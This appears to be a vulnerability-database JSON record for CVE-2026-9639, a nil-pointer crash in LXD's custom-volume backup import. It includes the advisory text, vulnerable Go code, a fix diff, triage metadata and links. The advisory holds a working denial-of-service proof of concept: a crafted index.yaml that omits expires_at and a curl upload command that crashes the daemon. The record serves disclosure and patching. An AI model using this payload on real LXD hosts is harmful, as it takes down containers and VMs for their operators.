{"id":"CVE-2026-9639","kind":"vulnerability","aliases":["CVE-2026-9639","GHSA-j93m-3j9p-m5m8"],"related":[],"title":"LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at","description":"## Summary\n\n(sibling-field variant of CVE-2026-40197 fix 05bc272)\n\n`(*lxdBackend).CreateCustomVolumeFromBackup` in [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `EntitlementCanCreateStorageVolumes` permission on any project can crash the `lxd` daemon by uploading a backup tarball whose `volumes[0].snapshots[*].expires_at` field is omitted.\n\nThis is a sibling-field variant of the CVE-2026-40197 fix (commit `05bc272`, \"Validate snapshots from backup.yaml are non-nil\", cherry-picked from incus commit `985a1dedf` / GHSA-r7w7-mmxr-47r9). That fix added `if snap == nil` guards at several consumer sites, but did not guard the adjacent `*snapshot.ExpiresAt` deref at line 8216. Every other consumer of this field in the same file already gates the deref with `if … != nil` (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.\n\n## Vulnerable code\n\n[`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go), `CreateCustomVolumeFromBackup`:\n\n```go\n// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)\nfor i, snap := range customVol.Snapshots {\n    if snap == nil {\n        return fmt.Errorf(\"Nil custom volume snapshot definition found at index %d\", i)\n    }\n    err = drivers.ValidVolumeName(snap.Name)\n    ...\n}\n\n// Line 8196-8216 — the snapshot DB-create loop\nfor i, s := range customVol.Snapshots {\n    if s == nil {\n        return fmt.Errorf(\"Nil custom volume snapshot definition found at index %d\", i)\n    }\n    snapshot := s\n    ...\n    // Line 8216 — UNGUARDED *time.Time deref:\n    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,\n        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,\n        *snapshot.ExpiresAt,           // <-- panics when expires_at omitted in YAML\n        snapVol.ContentType(), true, true)\n```\n\n`ExpiresAt` is declared `*time.Time` ([`shared/api/storage_pool_volume_snapshot.go`](https://github.com/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)). Every other consumer in the same file already uses the safe pattern (`if … != nil { … = *… }`):\n\n| Line | Code | Guarded? |\n|------|------|----------|\n| 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 1558-1559 | srcSnap.ExpiresAt | YES |\n| 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |\n| 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |\n| 5527-5528 | srcSnap.ExpiresAt | YES |\n| **8216** | **CreateCustomVolumeFromBackup snapshot.ExpiresAt** | **NO** |\n\n## Reach\n\n1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `EntitlementCanCreateStorageVolumes` entitlement on any project. Same auth gate as CVE-2026-40197.\n2. `POST /1.0/storage-pools/<pool>/volumes/custom` with `Content-Type: application/octet-stream` and `X-LXD-name: <name>`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml) with `type: custom`, `volumes[0]` non-nil, and `volumes[0].snapshots[0]` non-nil but missing `expires_at`.\n4. `lxd/storage_volumes.go:storagePoolVolumesPost` -> `backup.GetInfo` parses the yaml -> `pool.CreateCustomVolumeFromBackup` -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> `*snapshot.ExpiresAt` on line 8216 panics on the nil `*time.Time`.\n5. The Go runtime kills the entire `lxd` daemon process. Repeated POSTs are a persistent denial of service.\n\nMinimal [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml):\n\n```yaml\nname: poc-vol\nbackend: dir\npool: default\ntype: custom\noptimized: false\noptimized_header: false\nsnapshots: [snap0]\nconfig:\n  version: 2\n  pools:\n    - {name: default, driver: dir, config: {}}\n  volumes:\n    - name: poc-vol\n      type: custom\n      pool: default\n      content_type: filesystem\n      config: {}\n      snapshots:\n        - name: snap0\n          description: snap0\n          config: {}\n          # expires_at intentionally omitted\n```\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + the resulting 516-byte `poc-vol-lxd.tar.gz`.\n\nTested against `lxd 6.8` (HEAD of `canonical/lxd` at the time of testing, built from source with `make deps && go build -tags libsqlite3 ./lxd`). Daemon started with default `dir` storage pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \\\n    --data-binary @/tmp/poc-vol-lxd.tar.gz \\\n    -H 'Content-Type: application/octet-stream' \\\n    -H 'X-LXD-name: poc-vol' \\\n    http://lxd/1.0/storage-pools/default/volumes/custom\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep lxd | grep -v grep    # daemon GONE\n```\n\nDaemon panic from `/tmp/lxd.out`:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]\n\ngoroutine 683 [running]:\ngithub.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)\n    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58\nmain.createStoragePoolVolumeFromBackup.func6(...)\n    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0\ngithub.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)\n    github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c\ncreated by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655\n    github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8\n```\n\nStack frame [`backend_lxd.go:8216`](https://github.com/canonical/lxd/blob/05bc272/backend_lxd.go#L8216) is the literal `*snapshot.ExpiresAt` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `lxd` daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier.\n- **Network attack surface:** the LXD REST API on `:8443` or the unix socket.\n- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** confirmed at `lxd 6.8` (HEAD); the same code exists in the v5.21 LTS line as the parent fix `05bc272` was a cherry-pick from incus.\n\n## Suggested fix\n\nMirror the guard pattern already in use elsewhere in this file:\n\n```diff\n--- a/lxd/storage/backend_lxd.go\n+++ b/lxd/storage/backend_lxd.go\n@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {\n         snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)\n         snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)\n\n         // Validate config and create database entry for new storage volume.\n         // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n+        var snapExpiryDate time.Time\n+        if snapshot.ExpiresAt != nil {\n+            snapExpiryDate = *snapshot.ExpiresAt\n+        }\n+\n+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)\n         if err != nil {\n             return err\n         }\n```\n\n## Related advisories\n\n- `GHSA-r7w7-mmxr-47r9` (CVE-2026-40197) / commit `05bc272` (cherry-pick of incus `985a1dedf`) — parent fix: added `s == nil` checks at multiple consumer sites, missed the `*snapshot.ExpiresAt` deref at line 8216.\n- `lxc/incus GHSA-xhqx-mgh3-3h7q` (sibling report filed by same reporter against the upstream-equivalent line [`internal/server/storage/backend.go:7731`](https://github.com/canonical/lxd/blob/05bc272/internal/server/storage/backend.go#L7731) in incus).\n\nThe shape is \"incomplete fix on a sibling field of the same struct\" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `canonical/lxd` by tonghuaroot.","summary":"LXD's custom volume import dereferences an optional snapshot expiry timestamp without checking it, so a backup that omits that field panics the daemon. An authenticated user with permission to create storage volumes can crash the whole lxd process by uploading such a backup, which is a denial of service.","severity":"medium","cvss":6.5,"epss":0.00548,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260622081844-85f897013ccd"],"affected":"< 0.0.0-20260622081844-85f897013ccd","ecosystem":"go"},{"name":"canonical lxd","fixed":["5.21.5"],"affected":">= 5.0.0, < 5.21.5","ecosystem":"vendor"},{"name":"canonical lxd","fixed":["6.9"],"affected":">= 6.0, < 6.9","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["clustered","cwe-476","infrastructure","linux-containers","lxd","self-hosted"],"not_affected_if":["admin-only-api-access","no-volume-create-entitlement"],"how_to_check":"- Find the canonical/lxd version in use: `lxd --version` for a packaged binary, or the commit or module version if built from source.\n- Treat hosts running a version older than `0.0.0-20260622081844-85f897013ccd` as exposed.\n- Check which users or clients hold the create-storage-volumes entitlement on any project.","fix":"- canonical/lxd (Go module): move to `0.0.0-20260622081844-85f897013ccd` or later.","status":"open","published_at":"2026-06-26T16:16:37+00:00","first_seen_at":"2026-11-06T19:38:16+00:00","triaged_at":"2026-11-06T19:39:38+00:00","updated_at":"2026-11-06T19:43:49+00:00","category":"infrastructure","confidence":0.8,"triage":{"at":"2026-11-06T19:39:38Z","model":"claude-haiku-5-5","output":{"fix":"- canonical/lxd (Go module): move to `0.0.0-20260622081844-85f897013ccd` or later.","reach":"network","title":"LXD: crafted backup upload crashes the daemon with a nil-pointer panic","impact":"medium","summary":"LXD's custom volume import dereferences an optional snapshot expiry timestamp without checking it, so a backup that omits that field panics the daemon. An authenticated user with permission to create storage volumes can crash the whole lxd process by uploading such a backup, which is a denial of service.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["lxd","linux-containers","self-hosted","clustered"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Daemon crashes, aborting all containers and VMs on the host","analyst_note":"","how_to_check":"- Find the canonical/lxd version in use: `lxd --version` for a packaged binary, or the commit or module version if built from source.\n- Treat hosts running a version older than `0.0.0-20260622081844-85f897013ccd` as exposed.\n- Check which users or clients hold the create-storage-volumes entitlement on any project.","plain_action":"","needs_analyst":false,"not_affected_if":["admin-only-api-access","no-volume-create-entitlement"],"who_is_affected":"Any LXD host where authenticated users, or clients using TLS, OIDC or the unix socket, can create custom storage volumes through the API. A crash takes down the lxd daemon, so every container and VM on the host, and on the cluster member if clustered, is interrupted until the daemon restarts. Hosts where only trusted administrators reach the API can skip the urgent patch but should still update.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"medium"},"cost_usd":0.001817,"input_tokens":8376,"output_tokens":1959,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-1011':237C,377C '-1275':239C,383C '-1559':389C '-1857':241C,393C '-2026':14A,22A,99C,170C,443C '-2455':243C,399C '-40197':100C,171C,444C '-476':33B '-5071':245C,405C '-5528':247C,411C '-8150':263C,501C '-8216':296C '-9639':15A,23A '/1.0/storage-pools':447C '/canonical/lxd':26A '/canonical/lxd/blob/05bc272/backup/index.yaml)':468C '/canonical/lxd/blob/05bc272/backup/index.yaml):':544C '/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go)':109C '/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go),':258C '/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)).':358C '/volumes/custom':448C '0':10A,153C,473C,479C,481C '05bc272':102C,174C '1':419C '1010':236C,376C '1274':238C,382C '1558':388C '1856':240C,392C '2':445C '2454':242C,398C '3':459C '3j9p':19A '4':489C '47r9':194C '5':522C '5070':244C,404C '5527':246C,410C '8141':262C,500C '8196':295C '8197':502C '8216':216C,326C,414C,516C '985a1dedf':189C 'add':197C 'adjac':211C 'alreadi':227C,366C 'application/octet-stream':453C 'asymmetr':248C 'attack':420C 'auth':439C 'authent':67B,133C,423C 'b':332C 'backend':550C 'backup':58B,85B,131C,149C 'backup.getinfo':492C 'backup.yaml':178C 'backup/index.yaml':465C,541C 'bodi':460C 'bug':252C 'cach':268C 'canonical':27A,29A 'cert':426C 'check':54B 'cherri':184C 'cherry-pick':183C 'client':424C 'cluster':31B 'code':254C,374C 'commit':173C,188C 'consum':204C,219C,361C 'contain':37B,110C,464C 'content':451C 'content-typ':450C 'crash':76B,142C 'creat':72B,301C 'createcustomvolumefrombackup':3A,104C,259C,415C 'custom':44B,129C,282C,314C,471C,555C 'custom-volum':128C 'customvol.snapshots':275C,307C,406C 'cve':13A,21A,98C,169C,442C 'cwe':32B 'd':289C,321C 'daemon':65B,145C,530C 'db':300C 'db-creat':299C 'declar':353C 'default':553C 'definit':285C,317C 'denial':89B,537C 'deref':213C,230C,329C 'derefer':7A,47B,114C 'dir':551C 'drivers.validvolumename':292C 'e.g':234C 'earliest':264C 'entir':528C 'entitl':434C 'entitlementcancreatestoragevolum':136C,433C 'entri':124C 'err':291C,330C 'everi':120C,217C,359C 'expir':12A,155C,343C,487C 'expiresat':117C,351C,380C,386C,396C,402C,408C 'expiri':51B 'fals':557C,560C 'field':62B,95C,118C,157C,165C,222C 'file':226C,365C 'fix':101C,172C,196C 'fmt.errorf':280C,312C 'found':286C,318C 'fullsnapnam':334C 'gate':228C,440C 'ghsa':17A,191C 'ghsa-j93m-3j9p-m5m8':16A 'ghsa-r7w7-mmxr-47r9':190C 'github.com':25A,108C,257C,357C,467C,543C 'github.com/canonical/lxd':24A 'github.com/canonical/lxd/blob/05bc272/backup/index.yaml)':466C 'github.com/canonical/lxd/blob/05bc272/backup/index.yaml):':542C 'github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go)':107C 'github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go),':256C 'github.com/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)).':356C 'go':260C,524C 'guard':201C,209C,249C,375C 'header':559C 'host':41B 'import':46B,127C 'incus':187C 'index':288C,320C 'infrastructur':34B 'j93m':18A 'kill':526C 'line':215C,235C,261C,294C,325C,373C,515C 'linux':36B 'linux-contain':35B 'loop':302C 'lxd':1A,28A,30A,38B,42B,79B,144C,457C,529C 'lxd/storage/backend_lxd.go':106C,255C 'lxd/storage_volumes.go':490C 'lxdbackend':103C 'm5m8':20A 'minim':540C 'miss':486C 'mmxr':193C 'name':458C,510C,546C 'nil':5A,182C,200C,233C,270C,278C,281C,310C,313C,372C,476C,484C,509C,520C 'nil-point':4A 'non':181C,475C,483C,508C 'non-nil':180C,474C,482C,507C 'oidc':427C 'omit':60B,159C,345C 'optim':556C,558C 'option':49B 'panic':63B,341C,517C 'pars':493C 'pass':267C,503C 'pattern':370C 'permiss':70B,137C 'persist':536C 'pick':185C 'poc':548C 'poc-vol':547C 'pointer':6A,505C 'pool':552C 'pool.createcustomvolumefrombackup':496C 'post':446C,533C 'process':80B,531C 'project':140C,437C 'r7w7':192C 'rang':274C,306C 'reach':418C 'repeat':532C 'return':279C,311C 'rootvol.snapshots':378C,384C,394C,400C 'runtim':525C 'safe':369C 'self':40B 'self-host':39B 'servic':91B,539C 'sever':203C 'shared/api/storage_pool_volume_snapshot.go':355C 'sibl':94C,164C 'sibling-field':93C,163C 'site':205C 'sna':561C 'snap':199C,273C,277C 'snap.name':293C 'snapshot':11A,50B,123C,154C,176C,265C,284C,298C,316C,323C,480C,504C 'snapshot.createdat':339C 'snapshot.description':335C 'snapshot.expiresat':212C,340C,416C,513C 'snapvol.config':338C 'snapvol.contenttype':348C 'snapvol.type':336C 'socket':430C 'srcbackup.project':333C 'srcsnap.expiresat':390C,412C 'storag':73B 'storagepoolvolumespost':491C 'summari':92C 'tar':463C 'tarbal':150C 'time.time':113C,328C,354C,521C 'timestamp':52B 'tls':425C 'true':337C,349C,350C 'type':452C,470C,554C 'unguard':112C,327C 'unix':429C 'upload':82B,147C 'use':367C 'user':68B,134C 'valid':175C,266C,498C,512C 'variant':96C,166C 'vol':549C 'volum':9A,45B,74B,122C,130C,152C,283C,315C,472C,478C 'volume-snapshot':121C 'volumedbcr':331C 'vulner':253C 'whole':78B 'whose':151C 'without':53B 'x':456C 'x-lxd-name':455C 'yaml':347C,495C,545C 'yes':381C,387C,391C,397C,403C,409C,413C","nicknames":[],"mitigations":[],"who_affected":"Any LXD host where authenticated users, or clients using TLS, OIDC or the unix socket, can create custom storage volumes through the API. A crash takes down the lxd daemon, so every container and VM on the host, and on the cluster member if clustered, is interrupted until the daemon restarts. Hosts where only trusted administrators reach the API can skip the urgent patch but should still update.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["canonicallxd","githubcomcanonicallxd","lxd"],"ptokens":["canonical","com","github","lxd"],"labels":["clustered","cwe476","go","infrastructure","linuxcontainers","lxd","medium","selfhosted","vendor"],"campaign_type":null,"search_a":"'-2026':14A,22A '-9639':15A,23A '/canonical/lxd':26A '0':10A '3j9p':19A 'canonical':27A,29A 'createcustomvolumefrombackup':3A 'cve':13A,21A 'derefer':7A 'expir':12A 'ghsa':17A 'ghsa-j93m-3j9p-m5m8':16A 'github.com':25A 'github.com/canonical/lxd':24A 'j93m':18A 'lxd':1A,28A,30A 'm5m8':20A 'nil':5A 'nil-point':4A 'pointer':6A 'snapshot':11A 'volum':9A","search_b":"'-476':33B 'authent':67B 'backup':58B,85B 'check':54B 'cluster':31B 'contain':37B 'crash':76B 'creat':72B 'custom':44B 'cwe':32B 'daemon':65B 'denial':89B 'derefer':47B 'expiri':51B 'field':62B 'host':41B 'import':46B 'infrastructur':34B 'linux':36B 'linux-contain':35B 'lxd':38B,42B,79B 'omit':60B 'option':49B 'panic':63B 'permiss':70B 'process':80B 'self':40B 'self-host':39B 'servic':91B 'snapshot':50B 'storag':73B 'timestamp':52B 'upload':82B 'user':68B 'volum':45B,74B 'whole':78B 'without':53B","search_c":"'-1011':237C,377C '-1275':239C,383C '-1559':389C '-1857':241C,393C '-2026':99C,170C,443C '-2455':243C,399C '-40197':100C,171C,444C '-5071':245C,405C '-5528':247C,411C '-8150':263C,501C '-8216':296C '/1.0/storage-pools':447C '/canonical/lxd/blob/05bc272/backup/index.yaml)':468C '/canonical/lxd/blob/05bc272/backup/index.yaml):':544C '/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go)':109C '/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go),':258C '/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)).':358C '/volumes/custom':448C '0':153C,473C,479C,481C '05bc272':102C,174C '1':419C '1010':236C,376C '1274':238C,382C '1558':388C '1856':240C,392C '2':445C '2454':242C,398C '3':459C '4':489C '47r9':194C '5':522C '5070':244C,404C '5527':246C,410C '8141':262C,500C '8196':295C '8197':502C '8216':216C,326C,414C,516C '985a1dedf':189C 'add':197C 'adjac':211C 'alreadi':227C,366C 'application/octet-stream':453C 'asymmetr':248C 'attack':420C 'auth':439C 'authent':133C,423C 'b':332C 'backend':550C 'backup':131C,149C 'backup.getinfo':492C 'backup.yaml':178C 'backup/index.yaml':465C,541C 'bodi':460C 'bug':252C 'cach':268C 'cert':426C 'cherri':184C 'cherry-pick':183C 'client':424C 'code':254C,374C 'commit':173C,188C 'consum':204C,219C,361C 'contain':110C,464C 'content':451C 'content-typ':450C 'crash':142C 'creat':301C 'createcustomvolumefrombackup':104C,259C,415C 'custom':129C,282C,314C,471C,555C 'custom-volum':128C 'customvol.snapshots':275C,307C,406C 'cve':98C,169C,442C 'd':289C,321C 'daemon':145C,530C 'db':300C 'db-creat':299C 'declar':353C 'default':553C 'definit':285C,317C 'denial':537C 'deref':213C,230C,329C 'derefer':114C 'dir':551C 'drivers.validvolumename':292C 'e.g':234C 'earliest':264C 'entir':528C 'entitl':434C 'entitlementcancreatestoragevolum':136C,433C 'entri':124C 'err':291C,330C 'everi':120C,217C,359C 'expir':155C,343C,487C 'expiresat':117C,351C,380C,386C,396C,402C,408C 'fals':557C,560C 'field':95C,118C,157C,165C,222C 'file':226C,365C 'fix':101C,172C,196C 'fmt.errorf':280C,312C 'found':286C,318C 'fullsnapnam':334C 'gate':228C,440C 'ghsa':191C 'ghsa-r7w7-mmxr-47r9':190C 'github.com':108C,257C,357C,467C,543C 'github.com/canonical/lxd/blob/05bc272/backup/index.yaml)':466C 'github.com/canonical/lxd/blob/05bc272/backup/index.yaml):':542C 'github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go)':107C 'github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go),':256C 'github.com/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)).':356C 'go':260C,524C 'guard':201C,209C,249C,375C 'header':559C 'import':127C 'incus':187C 'index':288C,320C 'kill':526C 'line':215C,235C,261C,294C,325C,373C,515C 'loop':302C 'lxd':144C,457C,529C 'lxd/storage/backend_lxd.go':106C,255C 'lxd/storage_volumes.go':490C 'lxdbackend':103C 'minim':540C 'miss':486C 'mmxr':193C 'name':458C,510C,546C 'nil':182C,200C,233C,270C,278C,281C,310C,313C,372C,476C,484C,509C,520C 'non':181C,475C,483C,508C 'non-nil':180C,474C,482C,507C 'oidc':427C 'omit':159C,345C 'optim':556C,558C 'panic':341C,517C 'pars':493C 'pass':267C,503C 'pattern':370C 'permiss':137C 'persist':536C 'pick':185C 'poc':548C 'poc-vol':547C 'pointer':505C 'pool':552C 'pool.createcustomvolumefrombackup':496C 'post':446C,533C 'process':531C 'project':140C,437C 'r7w7':192C 'rang':274C,306C 'reach':418C 'repeat':532C 'return':279C,311C 'rootvol.snapshots':378C,384C,394C,400C 'runtim':525C 'safe':369C 'servic':539C 'sever':203C 'shared/api/storage_pool_volume_snapshot.go':355C 'sibl':94C,164C 'sibling-field':93C,163C 'site':205C 'sna':561C 'snap':199C,273C,277C 'snap.name':293C 'snapshot':123C,154C,176C,265C,284C,298C,316C,323C,480C,504C 'snapshot.createdat':339C 'snapshot.description':335C 'snapshot.expiresat':212C,340C,416C,513C 'snapvol.config':338C 'snapvol.contenttype':348C 'snapvol.type':336C 'socket':430C 'srcbackup.project':333C 'srcsnap.expiresat':390C,412C 'storagepoolvolumespost':491C 'summari':92C 'tar':463C 'tarbal':150C 'time.time':113C,328C,354C,521C 'tls':425C 'true':337C,349C,350C 'type':452C,470C,554C 'unguard':112C,327C 'unix':429C 'upload':147C 'use':367C 'user':134C 'valid':175C,266C,498C,512C 'variant':96C,166C 'vol':549C 'volum':122C,130C,152C,283C,315C,472C,478C 'volume-snapshot':121C 'volumedbcr':331C 'vulner':253C 'whose':151C 'x':456C 'x-lxd-name':455C 'yaml':347C,495C,545C 'yes':381C,387C,391C,397C,403C,409C,413C","first_public_at":"2026-06-26T08:27:43+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-j93m-3j9p-m5m8","url":"https://github.com/advisories/GHSA-j93m-3j9p-m5m8","severity":"medium","published_at":"2026-11-06T19:37:14+00:00","modified_at":"2026-11-06T19:37:18+00:00","first_seen_at":"2026-11-06T19:38:16+00:00","fetched_at":"2026-11-06T19:43:23+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-9639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9639","severity":null,"published_at":"2026-06-26T16:16:37+00:00","modified_at":"2026-10-25T17:10:00+00:00","first_seen_at":"2026-11-06T19:43:49+00:00","fetched_at":"2026-11-06T19:43:49+00:00","note":null}],"documents":[{"id":89122,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-j93m-3j9p-m5m8","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":89123,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-j93m-3j9p-m5m8","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-26T08:27:43+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":89124,"url":"https://github.com/canonical/lxd/pull/18320","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89125,"url":"https://github.com/canonical/lxd/pull/18390","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89126,"url":"https://github.com/canonical/lxd/commit/05bc2729e99707a766d5c4705167a3322c9ef424","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89127,"url":"https://github.com/canonical/lxd/commit/c7cdfadb6044dfeaac592dc225978b4125ee23fe","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":89128,"url":"https://github.com/canonical/lxd/commit/d15520809e6e2ac2af0c6354dfb7be5854b0e859","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88870,"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":88647,"url":"https://github.com/canonical/lxd/releases/tag/lxd-6.9","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[{"type":"epss","score":0.00548,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9639"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}